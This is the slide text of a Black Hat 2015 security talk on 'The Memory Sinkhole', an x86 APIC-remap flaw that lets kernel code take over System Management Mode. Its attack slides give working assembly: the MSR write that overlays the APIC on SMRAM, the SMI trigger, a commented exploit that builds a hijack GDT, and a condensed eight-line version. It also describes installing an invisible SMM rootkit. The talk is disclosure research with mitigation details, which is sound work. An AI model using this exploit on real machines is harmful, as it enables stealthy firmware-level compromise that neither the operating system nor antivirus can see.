The Memory Sinkhole
: An architectural privilege escalation vulnerability

domas // black hat 2015
Christopher Domas
Battelle Memorial Institute
Overview

- x86 architectural vulnerability
- Hidden for 20 years
- A new class of exploits
(demonstration)
The x86 Rings
Virtualization

The Negative Rings...
Some things are so important…

Ring 0 should not have access to them

The Negative Rings…
Ring -1

The hypervisor

The Negative Rings...
Some things are so important...

Ring -1 should not have access to them

The Negative Rings...
The Negative Rings...
What if...
☞ A mode invisible to the OS

SMM
Power management

SMM ... in the beginning
- System safety
- Power button
- Century rollover
- Error logging
- Chipset errata
- Platform security

SMM … evolution
- Cryptographically authenticated variables
- Signature verifications
  - Firmware, SecureBoot
- Hardware locks
- TPM emulation and communication
- Platform Lock Box
- Interface to the Root of Trust

SMM ... pandora’s box
Whenever we have anything ...
  ↳ So important,
    we don’t want the kernel to screw it up
  ↳ So secret,
    it needs to hide from the OS and DMA
  ↳ So sensitive,
    it should never be touched
... it gets tossed into SMM

SMM ... pandora’s box
Ring 3 (Userland)

Ring 0 (Kernel)

Ring -1 (Hypervisor)

Ring -2 (SMM)

Processor
If you think you own a system when you get to ring 0 … … you're wrong

On modern systems, ring 0 is not in control

Ring -2 has

the hardware

the firmware

all the most critical security checks

The deepest ring…
System Management RAM (SMRAM)
- Only accessible to SMM
System Management Interrupt (SMI)
- Toggles SMM
- Unlocks SMRAM

Hiding from Ring 0
; from ring 0
; smbase: 0x1ff80000
mov eax, [0x1ff80000]
; reads 0xffffffff

Hiding from Ring 0
Memory Controller Hub (MCH)
- Separates SMRAM from Ring 0
- Enforces SMM Security
SMM Security

- Processor
- MCH
- Memory 0x1ff80000 SMRAM
; from SMM
; smbase: 0x1ff80000
mov eax, [0x1ff80000]
; reads 0x18A97BF0

SMM Security
; from ring 0
; smbase: 0x1ff80000
mov eax, [0x1ff80000]
; reads 0xffffffff

SMM Security
Legacy SMRAM region (CSEG)

- SMRAMC[C_BASE_SEG]
- SMRAMC[G_SMRAME]
Slightly less legacy SMRAM region (HSEG)
ESMRAMC[H_SMFRAME]
Modern SMRAM region (TSEG)

- ESMRAMC[TSEG_SZ]
- ESMRAMC[T_EN]
- TOLUD
- TSEG
- TSEG_BASE
- GGC[GGMS]
Hiding SMM
SMRAMC[D_OPEN]

SMM Security
Really hiding SMM

SMRAMC[D_LCK]

SMM Security
Enforcing cache coherency

- IA32_SMRR_PHYSBASE
- IA32_SMRR_PHYSMASK

SMM Security
 Preventing memory remaps

- TOLUD Lock
- TOUUD Lock

SMM Security
Preventing DMA access

- TSEGMB
- BGSM

SMM Security
Really preventing DMA access

- TSEGMB Lock
- BGSM Lock

SMM Security
SMM Security

 Preventing multi-core race conditions
 SMM_BWP
Preventing SMI blocking

- SMI_EN[GBL_SMI_EN]
- TCO_EN

SMM Security
Really preventing SMI blocking

- TCO_LOCK
- SMI_LOCK
SMM Security
SMM Security

Processor

MCH

SMRAMC[C_BASE_SEG]
SMRAMC[G_SMRAEM]
ESMRAMC[H_SMRAEM]
ESMRAMC[TSEG_SZ]
ESMRAMC[T_EN]
TOLUD
TSEG
GGC[GGMS]
SMRAMC[D_OPEN]
SMRAMC[D_LCK]
IA32_SMRR_PHYSBASE
IA32_SMRR_PHYSMASK
TOLUD Lock
TOUUD Lock
TSEGMB
BGSM
TSEGMB Lock
BGSM Lock
SMM_BWP
SMI_EN[GBL_SMI_EN]
TCO_EN
TCO_LOCK
SMI_LOCK
SMM Security

Processor

MCH

SMRAMC[C_BASE_SEG]
SMRAMC[G_SMRAME]
ESMRAMC[H_SMRAME]
ESMRAMC[TSEG_SZ]
ESMRAMC[T_EN]
ESMRAMC[TOLUD]
ESMRAMC[TSEG]
GGC[GGMS]
SMRAMC[D_OPEN]
SMRAMC[D_LCK]
IA32_SMRR_PHYSBASE
IA32_SMRR_PHYSMASK
TOLUD Lock
TOUUD Lock
TSEGMB
BGSM
TSEGMB Lock
BGSM Lock
SMM_BWP
SMI_EN[GBL_SMI_EN]
TCO_EN
TCO_LOCK
SMI_LOCK
A lot of research in this area
- Fringes of the MCH
- Misconfigurations
There is a way to simultaneously circumvent every single protection.
20 years ago...
20 years ago...
20 years ago...
APIC registers mapped to processor memory at 0xfee00000 – 0xfee01000

20 years ago...
20 years ago...
mov eax, [0xfed00280]

20 years ago...
“The P6 family processors permit the starting address of the APIC registers to be relocated from FEE00000H to another physical address. This extension of the APIC architecture is provided to help resolve conflicts with memory maps of existing systems.”

– Intel SDM, c. 1997

20 years ago...
20 years ago...

- `mov eax, 0xfed00900`
- `mov edx, 0`
- `mov ecx, 0x1b`
- `wrmsr`

```
mov eax, [0xfed00280]
mov eax, [0xfee00280]
mov eax, 0xfed00900
mov edx, 0
mov ecx, 0x1b
wrmsr
```
20 years ago...

- `mov eax, 0xfed00900`
- `mov edx, 0`
- `mov ecx, 0x1b`
- `wrmsr`

\[
\text{mov eax, [0xfed00280]} \quad \text{mov eax, [0xfee00280]}
\]

**Processor**

**APIC**

- `0xfed00000`
- `0xfed01000`
A forgotten patch ...  
... to fix a forgotten problem ...  
... on a tiny number of legacy systems ...  
... 20 years ago.

20 years ago...
The APIC Remap Attack

; from ring 0
; smbase: 0x1ff80000
mov eax, [0x1ff80000]
; reads 0xffffffff

Memory
0x1ff80000
SMRAM

Processor
APIC
0xfee00000
0xfee01000

MCH
; from SMM
; smbase: 0x1ff80000
mov eax, [0x1ff80000]  
; reads 0x18A97BF0

The APIC Remap Attack
The APIC Remap Attack

```
mov eax, 0x1ff80900
mov edx, 0
mov ecx, 0x1b
wrmsr
```
; from ring 0
; smbase: 0x1ff80000
mov eax, [0x1ff80000]
; reads 0x00000000

The APIC Remap Attack
; from SMM
; smbase: 0x1ff80000
mov eax, [0x1ff80000]
; reads 0x00000000
; from SMM
; smbase: 0x1ff80000
mov eax, [0x1ff80000]
; reads 0x00000000

The MCH never receives the memory request: the primary enforcer of SMM security is removed from the picture.
Through the APIC_BASE feature

- Ring 0 can manipulate the APIC MMIO range ...
  
  ... to intercept Ring -2 accesses to SMRAM

The APIC Remap Attack
When the processor receives an SMI
- It transitions to System Management Mode
- The MCH receives an SMI_ACT# signal from the processor, and unlocks SMRAM

The Ring -2 Environment
The processor loads an architecturally defined system state

- “Unreal” mode
  - Legacy, segmented memory model
  - 16 bit address and data size
  - 4GB segment limits

- Descriptor cache
  - cs.base: SMBASE
  - {ds, es, fs, gs, ss}.base: 0

- eip: 0x8000
  - Execution begins in SMRAM, 0x8000 offset from SMBASE

The Ring -2 Environment
The SMM handler sets up a more practical execution environment
SMRAM acts as a safe haven for SMM code

As long as SMM code stays in SMRAM...
... ring 0 cannot touch it

But if we can get SMM code to step out of its hiding spot...
... we can hijack execution and gain SMM privileges

Attack Strategy
The Interrupt Descriptor Table (IDT) is unmodified on an SMM switch

Point IDT entry to malicious exception handler

Trigger #GP(0) fault inside of SMM, through the APIC overlay

Exception handler executes within SMM context

Attack Attempt 1
An undocumented security feature:

- IDTR.base is unmodified on SMM context switch
- IDTR.limit is set to 0

Any exception inside of SMM will triple fault (reset) the system, until a new IDTR is configured.

Attack Attempt 1: Fails
Infer SMBASE

- Check TSEG, SMRRs

Overlay APIC MMIO range at the SMI entry point: SMBASE+0x8000

- Load payload into APIC
- Trigger SMI
- Hijack SMM execution

Attack Attempt 2
Attack Attempt 2
Attack Attempt 2
Attack Attempt 2
; ring 0
mov eax, 0x1ff88900
mov edx, 0
mov ecx, 0x1b
wrmsr

Processor

APIC

MCH

Memory

0x1ff80000
0x1ff98000

SMRAM

Attack Attempt 2
; ring 0
xor eax, eax
out 0xb2, ax
Attack Attempt 2
Attack Attempt 2
Goal: gain code execution in SMM
- Store shell code in APIC registers
- Execute from APIC

The APIC Payload
The Challenge:
- Must be 4K aligned
- Begin @ exactly SMI entry

The APIC Payload
The Challenge:
- Must be 4K aligned
  - Begin @ exactly SMI entry
- 4096 bytes available

The APIC Payload
The Challenge:

- **Must** be 4K aligned
  - Begin @ exactly SMI entry
- 4096 bytes available
- **These** are writeable
- (And only a few bits each)

The APIC Payload
The Challenge:

- **Must** be 4K aligned
  - Begin @ exactly SMI entry
- 4096 bytes available
- **These** are writeable
- (And only a few bits each)
- And this is an invalid instruction

The APIC Payload
The Challenge:
- Any fault will reset the system
- We have control over 17 bits before that happens.

The APIC Payload
The black registers are largely hardwired to 0

00 00

add [bx+si],al
Not useful, but not harmful
Execution moves in groups of 2 over the hardwired registers

The APIC Payload
Offset 0020:
Local APIC ID

- Insufficient control
- And throws off the execution stride
Instructions now fetched at odd offset
Our control changes from the opcode of the instruction (useful) to the modr/m byte (useless)

The APIC Payload
Offset 0080:

Task Priority Register

- As the modr/m byte, no meaningful effect possible
- Configure as a valid instruction and continue
The APIC Payload

- Offset 00d0: Logical Destination
- Control over high byte
  - Allows realigning instruction fetches
Offset 00e0:
Destination Format
- Insufficient control
- Configure as non-faulting

The APIC Payload
Offset 00f0:
  Spurious Interrupt Vector
- Our last shot
- Bits 0:3 – hardwired to 1
- Bits 4:7 – writeable

The APIC Payload
4 bits ...

to take control of the most privileged mode of execution on the processor

The APIC Payload
Consult opcode map:
- 0f: (prefix)
- 1f: pop ds
- 2f: das
- 3f: aas
- 4f: dec di
- 5f: pop di
- 6f: outs
- 7f: jg
- 8f: pop x
- 9f: lahf
- af: scas
- bf: mov di, x
- cf: iret

The APIC Payload
Place an iret (0xcf) instruction into the Spurious Interrupt Vector register

Configure a stack for the iret

Remap the APIC

Trigger an SMI

The APIC Payload
; ring 0
; build APIC payload (stage 0)
mov dword [0xfee000f0], 0xcf
; configure hijack stack
; SMM will set ss.base to 0
mov esp, 0x1000
mov word ds:[esp], hook ; eip
mov word ds:[esp+2], 0 ; cs
mov word ds:[esp+4], 0x204 ; flgs
; create SMM hook (stage 1)
mov dword [hook], 0xfeeb ; jmp $
; overlay the SMI handler
mov eax, 0x1ff88900
mov edx, 0
mov ecx, 0x1b
wrmsr
; trigger SMI
xor eax, eax
out 0xb2, ax

The APIC Payload
Launch the payload, and...!
... it doesn’t work.

The APIC Payload
40 hours of debugging later…
- Instruction fetches bypass the APIC window
- Only data fetches hit
- Our attack just got much, much harder

The APIC Payload
40 hours of despair later...
We can’t execute from the APIC
Must control SMM through data alone
Sounds familiar...?
APIC-ropping?

Of sorts, but much more difficult:

- Fault = reset
- SMRAM is invisible
- 99.5% of the APIC bits are hardwired to 0
- APIC must be 4K aligned

So… blind ropping
with an enormous unwieldy payload of 0’s?

Sure, why not
SMRAM should be untouchable

The APIC remap attack gives us the ability to fix a 4K, 4K aligned block of SMRAM to 0’s

- Data fetches hit the APIC window before being passed to the MCH

From ring 0, we can effectively “sinkhole” a single page of ring -2 memory.

- Reads return 0
- Writes are lost

The Memory Sinkhole
A new class of SMM attacks

The Challenge:

- How do we attack code when our only control is the ability to disable a page of memory?

- Use our imagination...

The Memory Sinkhole
Goal:

- Cover as many systems as possible

The Memory Sinkhole
The Memory Sinkhole

- SMM handler installed by system firmware
The Firmware Ecosystem

IBV: Independent BIOS Vendor
OEM: Original Equipment Manufacturer
Intel: Intel
The Firmware Ecosystem

- **OEM SMM Code:**
  - Unhardened
  - But fragmented and diverse
  - 1 exploit = 1 system

- **IBV SMM Code:**
  - Better...

- **Template SMM Code:**
  - Hardened
  - But near universal
  - 1 exploit = all systems
Identifying template code:
- Bindiff across firmwares, find commonalities
- Quark BSP source

The Memory Sinkhole
The template SMM entry
The entry point for SMM
Attempts to set up execution environment
 Builds segment descriptors
 Transitions to protected mode
 Transitions to long mode
The template SMM handler uses a single structure for storing all the critical environment information:

- Global Descriptor Table (GDT)
- Segment selectors
- Memory mappings

Sinkholing this would be devastating...

Let’s see what happens.
0:8000 mov bx, offset unk_8091
0:8003 mov eax, cs:0FB30h
0:800B mov edx, eax
0:8012 mov [eax+42h], dx
0:8016 shr edx, 10h
0:801A mov [eax+44h], dl
0:801E mov [eax+47h], dh
0:8022 mov ax, cs:0FB38h
0:8026 dec ax
0:8027 mov cs:[bx], ax
0:802A mov eax, cs:0FB30h
0:802F mov cs:[bx+2], eax
0:8034 db 66h
0:8034 lgdt fword ptr cs:[bx]
0:8039 mov eax, 0
0:803F mov cr3, eax
0:8042 mov eax, 668h
0:804F mov cs:[bx+48h], ax
0:8053 mov ax, 10h
0:8056 mov cs:[bx-2], ax
0:805A mov edi, cs:0FEF8h
0:8060 lea eax, [edi+80DBh]
0:8068 mov cs:[bx+44h], eax
0:806D lea eax, [edi+8097h]
0:8075 mov cs:[bx-6], eax
0:807A mov ecx, 0C0000080h
0:8080 mov ebx, 100011b
0:8086 mov cr0, ebx
0:8089 jmp large far ptr 0:0

; ring 0
; sinkhole the DSC structure in SMM
mov eax, 0x1ff80900+0xf000
mov edx, 0
mov ecx, 0x1b
wrmsr
; trigger SMI
xor eax, eax
out 0xb2, ax
; ring 0
; sinkhole the DSC structure in SMM
mov eax, 0x1ff80900+0xf000
mov edx, 0
mov ecx, 0x1b
wrmsr
; trigger SMI
xor eax, eax
out 0xb2, ax

⚠️ State save map inadvertently hit
Any exception will triple fault the system
First access to the sinkhole

Reads the GDT base out of DSC

Now read as 0
Dynamically initialize task register descriptor, now incorrectly computed as outside SMRAM
Load the size of the GDT
Read from the sinkhole, this is now 0.
Access a GDT of size 0 will triple fault.
Decrement the GDT size

❖ The size is now incorrectly computed as Oxffff, the largest possible GDT size.
❖ This gives us extreme flexibility in setting up a malicious memory map, and saves us from the expected triple fault.
Save the size as 0xffffffff to the GDT descriptor
Reload the GDT base address
Read as 0 from the sinkhole
Save the base address as 0 to the GDT descriptor
Load the GDT from the constructed descriptor.
The template SMM handler has now loaded a Global Descriptor Table located **outside** of SMRAM, at address 0

Ring 0 can modify this GDT to control the memory mappings used by SMM
Load a long mode code selector from the DSC structure

- Read as 0 from the sinkhole
- A 0 (null) code selector is invalid
- When this gets used, it will triple fault the system
Leverage self-modifying code to apply the invalid code selector to an upcoming far jump, used for the protected to long mode transition. The system will crash in 21 instructions, when this jmp executes.
Load a hard coded protected mode code selector

- If read from the sinkhole, the attack will fail (a null CS will be loaded on the upcoming far jump, and triple fault)
- The hardcoded load allows the attack to proceed
Leverage self-modifying code to apply the 0x10 code selector to an upcoming far jump, used for the 16-to-32 bit protected mode transition.
The upcoming far jump will now enter GDT descriptor 0x10, under ring 0 control.
Load SMBASE from the State Save Map.

The State Save Map is inadvertently sinkholed by our attack

SMBASE is incorrectly read as 0
Use self modifying code to configure the upcoming protected mode to long mode transition
Compute a flat offset to the 32 bit SMM code

Feasibly calculated as $0x8097$
Use self modifying code to configure the upcoming 16-to-32 bit protected mode transition
The far jump will now proceed to 0x10:0x8097
Switch from real mode to 16 bit protected mode
The far jump causes SMM to load a protected mode memory mapping from the GDT at address 0 (under Ring 0 control).

By preemptively configuring a malicious GDT and placing it at address 0, we can control the SMM memory mappings, and hijack execution.

Jump to 0x10:0x8097
; the SMBASE register of the core under attack
TARGET_SMBASE equ 0x1f5ef800

; compute the desired base address of the CS descriptor in the GDT.
; this is calculated so that the fjmp performed in SMM is perfectly
; redirected to the payload hook at PAYLOAD_OFFSET.
CS_BASE equ ([PAYLOAD_OFFSET-FJMP_OFFSET])

; we target the boot strap processor for hijacking.
APIC_BSP equ 0x100

; the APIC must be activated for the attack to work.
APIC_ACTIVE equ 0x800

;;; begin attack ;;;

; clear the processor caches,
; to prevent bypassing the memory sinkhole on data fetches
wbinvd

; construct a hijack GDT in memory under our control
; note: assume writing to identity mapped memory.
; if non-identity mapped, translate these through the page tables first.
mov dword [dword GDT_ADDRESS+DESCRIPTOR_ADDRESS+4],
    (CS_BASE&0xff000000) | (0x00cf9a00) |
    (CS_BASE&0x00ff0000)>>16
mov dword [dword GDT_ADDRESS+DESCRIPTOR_ADDRESS+0],
    (CS_BASE&0x0000ffff)<<16 | 0xffff

; remap the APIC to sinkhole SMM’s DSC structure
mov eax, SINKHOLE | APIC_ACTIVE | APIC_BSP
mov edx, 0
mov ecx, APIC_BASE_MSR
wrmsr

; wait for a periodic SMI to be triggered
jmp $
After preprocessing, the attack is:

wbinvd
mov dword [0x10014], 0xffcf9aff
mov dword [0x10010], 0x9fa2ffff
mov eax, 0x1f5ff900
mov edx, 0
mov ecx, 0x1b
wrmsr
jmp $

The Memory Sinkhole
The Memory Sinkhole

8 lines, to exploit
- Hardware remapping
- Descriptor cache configurations
- Instruction and data cache properties
- Four execution modes
- Four memory models

... and infiltrate the most privileged mode of execution on the processor
The template SMI handler has *no vulnerability*.

It is attacked through the architecture flaw.

**The Memory Sinkhole**
Challenges:

- Locating SMBASE
  - Requires RE and guesswork
  - Or brute force and patience

Applying the Attack
Challenges:

- If the APIC window overlaps the State Save Map, the transition to SMM dumps the system state into the APIC. This is generally undefined behavior, and may cause the core to lock.

Applying the Attack
Challenges:

- If the State Save Map is sinkholed
  - All system state information is lost
  - We’ve gone too deep, and burned our way out

Solution:

- Execute an SMI immediately prior to the attack, to cache a valid state save map

Applying the Attack
What do we do with this?

- Unlock hardware
- Disable cryptographic checks
- Brick the system
- HCF
- Open the lock box
- Or just install a really nasty rootkit

Demonstration
**SMM Rootkit**
- With SMM execution, can install to SMRAM
- Preempt the hypervisor
- Periodic interception
- I/O filtering
- Modify any memory
- Invisible to OS
- Invisible to AV
- Invisible to Hypervisor

**Demonstration**
SMM Rootkit
- Deployed through the Memory Sinkhole
- Adapted from Dmytro Oleksiuk
  - [@d_olex, blog.cr4.sh]
- Signal the rootkit via magic number in userland
- Periodic SMIs trigger SMM, launch rootkit
- Rootkit escalates signalling process
(demonstration)
A new class of exploits
push rax
push rcx
push rdx
push r8
push r9
push r10
push r11
mov rcx, [rsp+38h]
mov rdx, [rsp+40h]
add rsp, 0FFFFFFFFFFFFFFFEOh
lea rax, dispatch_table
call qword ptr [rax+rcx*8]
add rsp, 20h
pop r11
pop r10
pop r9
pop r8
pop rdx
pop rcx
pop rax
add rsp, 10h
iret

- Sinkhole the dispatch table
- Call jumps to cs:0x0
- Linear 0 in 64 bit mode
- Hijack SMM outside of SMRAM
A new class of exploits

SMM Stack
lea    ebx, [edi+0FB00h]
mov    ax, [rbx+16h]
mov    ds, eax
mov    ax, [rbx+1Ah]
mov    es, eax
mov    fs, eax
mov    gs, eax
mov    ax, [rbx+18h]
mov    ss, eax
mov    rsp, 0
mov    rcx, [rsp]
mov    rax, 100022CCh
sub    rsp, 208h
fxsave qword ptr [rsp]
add    rsp, 0FFFFFFFFFFFFFE0h
call   rax
add    rsp, 20h
fxrstor qword ptr [rsp]
rsm

❖ Sinkhole the SMM stack
❖ call loses return address
❖ ret jumps to 0
❖ Hijack SMM outside of SMRAM
A new class of exploits

whatever we can find.
All ring -2 protections simultaneously circumvented
Firmware update?
- Move the APIC in the SMI?
- Doesn’t work.

Microcode update?
- Nope.

Unpatchable.

Mitigations
Intel

- Fixed on latest generations 😞
  - Sandy Bridge / Atom 2013
- Undocumented internal check against SMRRs when APIC is relocated
  - #GP[0] if APIC overlaps SMRRs
  - Requires SMRRs to be properly configured

AMD

- Analysis in progress

Mitigations
Mitigations

If everything else is configured correctly...
100,000,000’s can’t be fixed.

Mitigations
Mitigations

- CVE ###
- intel.com/security
Coordination with Intel

- Working on mitigations where architecturally feasible
- Coordinating with IBVs/OEMs for firmware updates where mitigation is possible
- Starting with Nehalem/Westmere, working backwards
- Will take time to trickle down

Mitigations
The 2\textsuperscript{nd} architectural privilege escalation on the x86 processor (?)

An immensely complex architecture

40 years of evolution

Multitude of pieces that are individually secure...

... but collectively vulnerable?

Just beginning to scratch the surface

Looking Forward
Scott Lee

- Brainstorming, PoC

Loic Duflot, Rafal Wojtczuk, Joanna Rutkowska, Xeno Kovah, Corey Kallenberg, John Butterworth, Yuriy Bulygin, Oleksandr Bazhaniuk, et al.

- Setting the bar in platform security insanely high

Bruce Monroe, Yuriy Bulygin

- Intel support and feedback

Dmytro Oleksiuk

- A reliable SMM rootkit

Credits
Conclusion

- github.com/xoreaxeaxeax
- Memory Sinkhole PoC
- domas
  - @xoreaxeaxeax
  - xoreaxeaxeax@gmail.com
mov    bx, offset unk_8091          ; load the offset to the GDT descriptor
mov    eax, cs:0FB30h              ; load the physical address of the GDT
mov    edx, eax
mov    ebp, eax
add    edx, 50h ; 'P'
mov    [eax+42h], dx              ; initialize segments in the GDT
shr    edx, 10h
mov    [eax+44h], dl
mov    [eax+47h], dh
mov    ax, cs:0FB38h              ; load the expected size of the GDT
dec    ax                          ; decrement the total size
mov    cs:[bx], ax                ; save the size to the GDT descriptor
mov    eax, cs:0FB30h              ; reload the GDT base address
mov    cs:[bx+2], eax              ; save the base address to the descriptor
db      66h
lgdt    fword ptr cs:[bx]         ; load the new GDT
mov    eax, 0
mov    cr3, eax
mov    eax, 668h
mov    cr4, eax
mov    ax, cs:0FB0Eh              ; load the expected long mode cs selector
mov    cs:[bx+48h], ax             ; patch selector into long mode far jmp
mov    ax, 10h
mov    cs:[bx-2], ax;             ; patch selector into protected mode far jmp
mov    edi, cs:0FEF8h              ; load smbase
lea    eax, [edi+80DBh]           ; compute offset of instruction at 80db
mov    cs:[bx+44h], eax           ; patch offset into long mode far jmp
lea    eax, [edi+8097h]           ; compute offset of instruction at 8097
mov    cs:[bx-6], eax             ; patch offset into protected mode far jmp
mov    ecx, 0C0000080h            ; switch to 16 bit protected mode
mov    ebx, 100011b
mov    cr0, ebx
jmp    large far ptr 0:0          ; switch to 32 bit protected mode